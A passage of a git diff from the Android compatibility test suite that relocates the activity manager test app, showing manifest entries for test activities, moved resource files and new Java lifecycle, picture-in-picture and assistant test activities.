+                  android:taskAffinity="nobody.but.PipActivity2"
+        />
+        <activity android:name=".PipOnStopActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+                  android:taskAffinity="nobody.but.PipOnStopActivity"
+        />
+        <activity android:name=".PipActivityWithSameAffinity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+                  android:taskAffinity="nobody.but.PipActivitySameAffinity"
+        />
+        <activity android:name=".AlwaysFocusablePipActivity"
+                  android:theme="@style/Theme.Transparent"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  androidprv:alwaysFocusable="true"
+                  android:exported="true"
+                  android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"
+        />
+        <activity android:name=".LaunchIntoPinnedStackPipActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  androidprv:alwaysFocusable="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+        />
+        <activity android:name=".LaunchPipOnPipActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+        />
+        <activity android:name=".LaunchEnterPipActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  androidprv:alwaysFocusable="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+        />
+        <activity android:name=".FreeformActivity"
+                  android:resizeableActivity="true"
+                  android:taskAffinity="nobody.but.FreeformActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".TopLeftLayoutActivity"
+                  android:resizeableActivity="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true">
+                  <layout android:defaultWidth="240dp"
+                          android:defaultHeight="160dp"
+                          android:gravity="top|left"
+                          android:minWidth="100dp"
+                          android:minHeight="80dp"
+                  />
+        </activity>
+        <activity android:name=".TopRightLayoutActivity"
+                  android:resizeableActivity="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true">
+                  <layout android:defaultWidth="25%"
+                          android:defaultHeight="35%"
+                          android:gravity="top|right"
+                          android:minWidth="90dp"
+                          android:minHeight="80dp"
+                  />
+        </activity>
+        <activity android:name=".BottomLeftLayoutActivity"
+                  android:resizeableActivity="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true">
+                  <layout android:defaultWidth="25%"
+                          android:defaultHeight="35%"
+                          android:gravity="bottom|left"
+                          android:minWidth="90dp"
+                          android:minHeight="80dp"
+                  />
+        </activity>
+        <activity android:name=".BottomRightLayoutActivity"
+                  android:resizeableActivity="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true">
+                  <layout android:defaultWidth="240dp"
+                          android:defaultHeight="160dp"
+                          android:gravity="bottom|right"
+                          android:minWidth="100dp"
+                          android:minHeight="80dp"
+                  />
+        </activity>
+        <activity android:name=".TurnScreenOnActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".TurnScreenOnDismissKeyguardActivity"
+            android:exported="true"
+        />
+        <activity android:name=".SingleTaskActivity"
+            android:exported="true"
+            android:launchMode="singleTask"
+        />
+        <activity android:name=".SingleInstanceActivity"
+            android:exported="true"
+            android:launchMode="singleInstance"
+        />
+        <activity android:name=".TrampolineActivity"
+                  android:exported="true"
+                  android:theme="@android:style/Theme.NoDisplay"
+        />
+        <activity android:name=".BroadcastReceiverActivity"
+                  android:resizeableActivity="true"
+                  android:exported="true"
+        />
+        <activity-alias android:enabled="true"
+                android:exported="true"
+                android:name=".EntryPointAliasActivity"
+                android:targetActivity=".TrampolineActivity" >
+        </activity-alias>
+        <activity android:name=".BottomActivity"
+                  android:exported="true"
+                  android:theme="@style/NoPreview"
+        />
+        <activity android:name=".TopActivity"
+                  android:process=".top_process"
+                  android:exported="true"
+                  android:theme="@style/NoPreview"
+        />
+        <activity android:name=".TranslucentTopActivity"
+                  android:process=".top_process"
+                  android:exported="true"
+                  android:theme="@style/TranslucentTheme"
+        />
+        <!-- An animation test with an explicitly opaque theme, overriding device defaults, as the
+             animation background being tested is not used in translucent activities. -->
+        <activity android:name=".AnimationTestActivity"
+                  android:theme="@style/OpaqueTheme"
+                  android:exported="true"
+        />
+        <activity android:name=".VirtualDisplayActivity"
+                  android:resizeableActivity="true"
+                  android:exported="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+        />
+        <activity android:name=".ShowWhenLockedActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".ShowWhenLockedWithDialogActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".ShowWhenLockedDialogActivity"
+            android:exported="true"
+            android:theme="@android:style/Theme.Material.Dialog"
+        />
+        <activity android:name=".ShowWhenLockedTranslucentActivity"
+                  android:exported="true"
+                  android:theme="@android:style/Theme.Translucent"
+        />
+        <activity android:name=".DismissKeyguardActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".DismissKeyguardMethodActivity"
+            android:exported="true"
+        />
+        <activity android:name=".WallpaperActivity"
+            android:exported="true"
+            android:theme="@style/WallpaperTheme"
+        />
+        <activity android:name=".KeyguardLockActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".LogConfigurationActivity"
+            android:exported="true"
+            android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+        />
+        <activity android:name=".PortraitOrientationActivity"
+                  android:exported="true"
+                  android:screenOrientation="portrait"
+                  android:documentLaunchMode="always"
+        />
+        <activity android:name=".LandscapeOrientationActivity"
+                  android:exported="true"
+                  android:screenOrientation="landscape"
+                  android:documentLaunchMode="always"
+        />
+        <activity android:name=".MoveTaskToBackActivity"
+                  android:exported="true"
+                  android:launchMode="singleInstance"
+        />
+        <activity android:name=".NightModeActivity"
+                  android:exported="true"
+                  android:configChanges="uiMode"
+        />
+        <activity android:name=".FontScaleActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".FontScaleNoRelaunchActivity"
+                  android:exported="true"
+                  android:configChanges="fontScale"
+        />
+        <receiver
+            android:name=".LaunchBroadcastReceiver"
+            android:enabled="true"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.server.am.LAUNCH_BROADCAST_ACTION"/>
+            </intent-filter>
+        </receiver>
+
+        <activity android:name=".AssistantActivity"
+            android:exported="true" />
+        <activity android:name=".TranslucentAssistantActivity"
+            android:exported="true"
+            android:theme="@style/Theme.Transparent" />
+        <activity android:name=".LaunchAssistantActivityFromSession"
+            android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
+            android:exported="true" />
+        <activity android:name=".LaunchAssistantActivityIntoAssistantStack"
+            android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
+            android:exported="true" />
+
+        <service android:name=".AssistantVoiceInteractionService"
+                 android:permission="android.permission.BIND_VOICE_INTERACTION"
+                 android:exported="true">
+            <meta-data android:name="android.voice_interaction"
+                       android:resource="@xml/interaction_service" />
+            <intent-filter>
+                <action android:name="android.service.voice.VoiceInteractionService" />
+            </intent-filter>
+        </service>
+
+        <service android:name=".AssistantVoiceInteractionSessionService"
+                 android:permission="android.permission.BIND_VOICE_INTERACTION"
+                 android:exported="true" />
+
+        <activity android:name=".SplashscreenActivity"
+            android:taskAffinity="nobody.but.SplashscreenActivity"
+            android:theme="@style/SplashscreenTheme"
+            android:exported="true" />
+
+
+        <activity android:name=".SwipeRefreshActivity"
+                  android:exported="true" />
+
+        <activity android:name=".NoHistoryActivity"
+                  android:noHistory="true"
+                  android:exported="true" />
+
+        <activity android:name=".ShowWhenLockedAttrActivity"
+                  android:showWhenLocked="true"
+                  android:exported="true" />
+
+        <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
+                  android:showWhenLocked="true"
+                  android:exported="true" />
+
+        <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
+                  android:showWhenLocked="true"
+                  android:exported="true" />
+
+        <activity android:name=".TurnScreenOnAttrActivity"
+                  android:turnScreenOn="true"
+                  android:exported="true" />
+
+        <activity android:name=".TurnScreenOnShowOnLockActivity"
+                  android:showWhenLocked="true"
+                  android:turnScreenOn="true"
+                  android:exported="true" />
+
+        <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
+                  android:turnScreenOn="true"
+                  android:showWhenLocked="true"
+                  android:exported="true" />
+
+        <activity android:name=".TurnScreenOnSingleTaskActivity"
+                  android:turnScreenOn="true"
+                  android:showWhenLocked="true"
+                  android:exported="true"
+                  android:launchMode="singleTask" />
+
+        <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
+                  android:turnScreenOn="true"
+                  android:exported="true"/>
+
+        <activity android:name=".TurnScreenOnWithRelayoutActivity"
+                  android:exported="true"/>
+
+        <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
+                 android:exported="true"
+                 android:enabled="true"
+                 android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
+           <intent-filter>
+               <action android:name="android.service.vr.VrListenerService" />
+           </intent-filter>
+        </service>
+    </application>
+</manifest>
+
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml b/tests/framework/base/activitymanager/app/res/anim/animation_with_background.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml
rename to tests/framework/base/activitymanager/app/res/anim/animation_with_background.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml b/tests/framework/base/activitymanager/app/res/layout/assistant.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml
rename to tests/framework/base/activitymanager/app/res/layout/assistant.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml b/tests/framework/base/activitymanager/app/res/layout/floating.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml
rename to tests/framework/base/activitymanager/app/res/layout/floating.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml b/tests/framework/base/activitymanager/app/res/layout/font_scale.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml
rename to tests/framework/base/activitymanager/app/res/layout/font_scale.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml b/tests/framework/base/activitymanager/app/res/layout/main.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml
rename to tests/framework/base/activitymanager/app/res/layout/main.xml
diff --git a/tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml b/tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml
new file mode 100644
index 0000000..3c249bf
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<android.server.am.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+</android.server.am.LifecycleLogView>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml b/tests/framework/base/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
rename to tests/framework/base/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml b/tests/framework/base/activitymanager/app/res/layout/task_overlay.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml
rename to tests/framework/base/activitymanager/app/res/layout/task_overlay.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml b/tests/framework/base/activitymanager/app/res/layout/translucent.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml
rename to tests/framework/base/activitymanager/app/res/layout/translucent.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml b/tests/framework/base/activitymanager/app/res/layout/virtual_display_layout.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml
rename to tests/framework/base/activitymanager/app/res/layout/virtual_display_layout.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml b/tests/framework/base/activitymanager/app/res/values/colors.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml
rename to tests/framework/base/activitymanager/app/res/values/colors.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml b/tests/framework/base/activitymanager/app/res/values/styles.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml
rename to tests/framework/base/activitymanager/app/res/values/styles.xml
diff --git a/tests/framework/base/activitymanager/app/res/xml/interaction_service.xml b/tests/framework/base/activitymanager/app/res/xml/interaction_service.xml
new file mode 100644
index 0000000..f586037
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/res/xml/interaction_service.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:sessionService="android.server.am.AssistantVoiceInteractionSessionService"
+    android:recognitionService="android.server.am.AssistantVoiceInteractionSessionService"
+    android:supportsAssist="true" />
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
new file mode 100644
index 0000000..28e6576
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.WindowManager;
+
+public abstract class AbstractLifecycleLogActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        Log.i(getTag(), "onCreate");
+    }
+
+    @Override
+    protected void onStart() {
+        super.onResume();
+        Log.i(getTag(), "onStart");
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        Log.i(getTag(), "onResume");
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        Log.i(getTag(), "onConfigurationChanged");
+    }
+
+    @Override
+    public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+        super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+        Log.i(getTag(), "onMultiWindowModeChanged");
+    }
+
+    @Override
+    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
+            Configuration newConfig) {
+        super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
+        Log.i(getTag(), "onPictureInPictureModeChanged");
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        Log.i(getTag(), "onPause");
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        Log.i(getTag(), "onStop");
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        Log.i(getTag(), "onDestroy");
+    }
+
+    @Override
+    protected void onUserLeaveHint() {
+        super.onUserLeaveHint();
+        Log.i(getTag(), "onUserLeaveHint");
+    }
+
+    protected abstract String getTag();
+
+    protected void dumpConfiguration(Configuration config) {
+        Log.i(getTag(), "Configuration: " + config);
+    }
+
+    protected void dumpDisplaySize(Configuration config) {
+        // Dump the display size as seen by this Activity.
+        final WindowManager wm = getSystemService(WindowManager.class);
+        final Display display = wm.getDefaultDisplay();
+        final Point point = new Point();
+        display.getSize(point);
+        final DisplayMetrics metrics = getResources().getDisplayMetrics();
+
+        final String line = "config"
+                + " size=" + buildCoordString(config.screenWidthDp, config.screenHeightDp)
+                + " displaySize=" + buildCoordString(point.x, point.y)
+                + " metricsSize=" + buildCoordString(metrics.widthPixels, metrics.heightPixels)
+                + " smallestScreenWidth=" + config.smallestScreenWidthDp
+                + " densityDpi=" + config.densityDpi
+                + " orientation=" + config.orientation;
+
+        Log.i(getTag(), line);
+    }
+
+    protected static String buildCoordString(int x, int y) {
+        return "(" + x + "," + y + ")";
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java
new file mode 100644
index 0000000..3d7aa8a
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+/**
+ * An additional launching activity used for alternating between two activities.
+ */
+public class AltLaunchingActivity extends LaunchingActivity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java
new file mode 100644
index 0000000..0e74977
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.graphics.Rect;
+
+public class AlwaysFocusablePipActivity extends Activity {
+
+    static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
+        final Intent intent = new Intent(caller, AlwaysFocusablePipActivity.class);
+
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK);
+        if (newTask) {
+            intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+        }
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchBounds(new Rect(0, 0, 500, 500));
+        options.setLaunchWindowingMode(WINDOWING_MODE_PINNED);
+        caller.startActivity(intent, options.toBundle());
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java
new file mode 100644
index 0000000..987ac87
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class AnimationTestActivity extends Activity {
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        overridePendingTransition(R.anim.animation_with_background, -1);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java
new file mode 100644
index 0000000..0e0e1fe
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class AssistantActivity extends Activity {
+
+    // Launches the given activity in onResume
+    public static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+    // Finishes this activity in onResume, this happens after EXTRA_LAUNCH_NEW_TASK
+    public static final String EXTRA_FINISH_SELF = "finish_self";
+    // Attempts to enter picture-in-picture in onResume
+    public static final String EXTRA_ENTER_PIP = "enter_pip";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Set the layout
+        setContentView(R.layout.assistant);
+
+        // Launch the new activity if requested
+        if (getIntent().hasExtra(EXTRA_LAUNCH_NEW_TASK)) {
+            Intent i = new Intent();
+            i.setComponent(new ComponentName(this, getPackageName() + "."
+                    + getIntent().getStringExtra(EXTRA_LAUNCH_NEW_TASK)));
+            i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            startActivity(i);
+        }
+
+        // Enter pip if requested
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+            try {
+                enterPictureInPictureMode();
+            } catch (IllegalStateException e) {
+                finish();
+                return;
+            }
+        }
+
+        // Finish this activity if requested
+        if (getIntent().hasExtra(EXTRA_FINISH_SELF)) {
+            finish();
+        }
+    }
+
+    /**
+     * Launches a new instance of the AssistantActivity directly into the assistant stack.
+     */
+    static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
+        final Intent intent = new Intent(caller, AssistantActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+        if (extras != null) {
+            intent.putExtras(extras);
+        }
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
+        caller.startActivity(intent, options.toBundle());
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
new file mode 100644
index 0000000..b772ce2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.service.voice.VoiceInteractionService;
+import android.util.Log;
+
+public class AssistantVoiceInteractionService extends VoiceInteractionService {
+
+    private static final String TAG = AssistantVoiceInteractionService.class.getSimpleName();
+
+    private boolean mReady;
+
+    @Override
+    public void onReady() {
+        super.onReady();
+        mReady = true;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        if (!isActiveService(this, new ComponentName(this, getClass()))) {
+            Log.wtf(TAG, "**** Not starting AssistantVoiceInteractionService because" +
+                    " it is not set as the current voice interaction service");
+            stopSelf();
+            return START_NOT_STICKY;
+        }
+        if (mReady) {
+            Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
+            showSession(extras, 0);
+        }
+        return START_NOT_STICKY;
+    }
+
+    /**
+     * Starts the assistant voice interaction service, which initiates a new session that starts
+     * the assistant activity.
+     */
+    public static void launchAssistantActivity(Context context, Bundle extras) {
+        Intent i = new Intent(context, AssistantVoiceInteractionService.class);
+        if (extras != null) {
+            i.putExtras(extras);
+        }
+        context.startService(i);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java
new file mode 100644
index 0000000..81ed202
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.service.voice.VoiceInteractionSession;
+import android.service.voice.VoiceInteractionSessionService;
+
+public class AssistantVoiceInteractionSessionService extends VoiceInteractionSessionService {
+
+    @Override
+    public VoiceInteractionSession onNewSession(Bundle args) {
+        return new VoiceInteractionSession(this) {
+            @Override
+            public void onPrepareShow(Bundle args, int showFlags) {
+                setUiEnabled(false);
+            }
+
+            @Override
+            public void onShow(Bundle args, int showFlags) {
+                Intent i = new Intent(AssistantVoiceInteractionSessionService.this,
+                        AssistantActivity.class);
+                if (args != null) {
+                    i.putExtras(args);
+                }
+                startAssistantActivity(i);
+            }
+        };
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java
new file mode 100644
index 0000000..de56159
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.content.Context;
+import android.os.Bundle;
